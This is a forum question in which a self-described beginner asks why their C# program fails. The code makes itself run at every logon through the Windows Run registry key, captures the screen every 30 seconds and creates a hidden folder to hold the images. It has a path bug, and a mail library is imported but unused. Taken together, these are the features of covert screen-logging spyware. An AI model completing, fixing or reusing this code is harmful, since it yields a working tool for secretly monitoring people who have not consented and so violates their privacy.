Why isn't my C# code working? : <p>My program is supposed to take screenshots every 30 seconds and then store them in a hidden folder, C:\SysApp. I'm new to coding and Visual Studio doesn't say there are any errors so I am very confused. Maybe you can help me please? Thanks!</p>

<p>Here's my code:</p>

<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Reflection;
using System.Windows.Forms;
using System.Net.Mail;
using System.IO;
using System.Drawing;

namespace screenshothoop
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch { }
            //------------------

            //------------screenshot  loop takes screenshots after 30 sec-----------
            int n = 0;
            while (n == 0)
            {
                Thread.Sleep(30000);
                OnTimedEvent();
            }
            //-------------------------

        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1000, 800);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\SysApp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\SysApp");
                File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }

            //---------------------------------------------------------



        }
    }
}</code></pre>
</div>
</div>
</p>
